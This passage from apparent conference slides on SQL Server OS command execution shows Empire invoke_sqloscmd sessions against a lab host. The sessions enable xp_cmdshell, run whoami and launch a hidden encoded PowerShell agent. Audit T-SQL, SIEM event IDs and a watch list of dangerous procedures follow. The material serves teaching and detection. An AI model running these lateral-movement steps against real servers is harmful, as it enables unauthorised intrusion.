(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >

 Example screenshot
Job started: 6KVEUC

sql-2012.test.local : Connection Success.

sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: whoami

nt service\mssqlserver

sql-2012.test.local : Disabling xp_cmdshell

sql-2012.test.local : Disabling Show Advanced Options

126 Confidential & Proprietary

127
BEYOND XP_CMDSHELL: EMPIRE MODULES

(Empire: powershell/lateral_movement/invoke_sqloscmd) > unset Command

Module 3
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >

 Example screenshot
Job started: X3U26K
[+] Initial agent 59BNMXTA from 192.168.1.195 now active

sql-2012.test.local : Connection Success.

sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command:
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden -Enc
[TRUNCATED]

sql-2012.test.local : Disabling xp_cmdshell

sql-2012.test.local : Disabling Show Advanced Options

(Empire: powershell/lateral_movement/invoke_sqloscmd) >

127 Confidential & Proprietary

AUDIT
COMMAND I Feel like I’m

EXECUTION
missing something?

128 Confidential & Proprietary

129
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION

You have the power

to change that.

What can
I do?

129 Confidential & Proprietary

130
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION

You need to audit

and alert on that sh*t.

130 Confidential & Proprietary

131
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION

Let’s do it!
1. Create Server Audit
2. Create Server Audit Specification
3. Create Database Audit Specification

131 Confidential & Proprietary

132
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION

Auditing – Code – TSQL – Create Server Audit

-- Create and enable an audit
USE master
CREATE SERVER AUDIT DerbyconAudit
TO APPLICATION_LOG
WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
ALTER SERVER AUDIT DerbyconAudit
WITH (STATE = ON)

132 Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx Confidential & Proprietary

133
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION

Auditing – Code – TSQL – Create Server Specification

-- Server: Audit server configuration changes
CREATE SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes]
FOR SERVER AUDIT DerbyconAudit
ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes
ADD (SERVER_OPERATION_GROUP) -- Audit server changes
WITH (STATE = ON)

133 Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx Confidential & Proprietary

134
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION

Auditing – Code – TSQL – Create Database Specification

-- DATABASE: Audit common agent job activity
Use msdb
CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs]
FOR SERVER AUDIT [DerbyconAudit]
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo])
WITH (STATE = ON)

-- DATABASE: Audit potentially dangerous procedures

use master
CREATE DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC]
FOR SERVER AUDIT [DerbyconAudit]
ADD (EXECUTE ON OBJECT::[dbo].[xp_cmdshell] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- 2016 and later
ADD (EXECUTE ON OBJECT::[dbo].[Sp_oacreate] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_trusted_assembly] BY [dbo]), -- 2017
ADD (EXECUTE ON OBJECT::[dbo].[xp_regwrite] BY [dbo])
WITH (STATE = ON)

134 Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx Confidential & Proprietary

135
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION

SIEM Cheatsheet
Windows Application Log
Event ID: 15457
Description: Server configuration changes.

- Configuration option 'external scripts enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'Ole Automation Procedures' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'clr enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'clr strict security' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'Ad Hoc Distributed Queries' changed from 0 to 1. Run the RECONFIGURE statement to install.

135 Confidential & Proprietary

136
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION

SIEM Cheatsheet
Windows Application Log
Event ID: 33205
Description: Agent and database level changes.

- msdb.dbo.sp_add_job Watch for potentially malicious ActiveX, cmdexec, and powershell jobs.
- sp_execute_external_script Watch for cmd.exe and similar calls.
- sp_OACreate Watch for Sp_oacreate 'wscript.shell’ and similar calls
- sp_addextendedproc Watch for any usage
- sp_add_trusted_assembly Watch for unauthorized usage

136 Confidential & Proprietary

TAKE AWAYS

137 Confidential & Proprietary

138
BEYOND XP_CMDSHELL: TAKE AWAYS

Take Aways
1. xp_cmdshell is NOT the only OS command execution option
2. SQL Server can be used as a beach head to help avoid detection
during domain escalation and red team engagements
3. Empire and PowerUpSQL have modules/functions to support some
of the attacks and auditing
4. Every technique can be logged, but most people don’t
 We can be better!

138 Confidential & Proprietary

139
BEYOND XP_CMDSHELL: TAKE AWAYS

QUESTIONS?
http://slideshare.net/nullbind/
You got this!
@0xbadjuju

@_nullbind

139 Confidential & Proprietary

140
BEYOND XP_CMDSHELL: TAKE AWAYS

QUESTIONS?
http://slideshare.net/nullbind/
Let’s do it!
@0xbadjuju

@_nullbind

140 Confidential & Proprietary

 MINNEAPOLIS | NEW YORK | PORTLAND | DENVER | DALLAS

Empowering enterprises to scale & operationalize their

security programs, globally.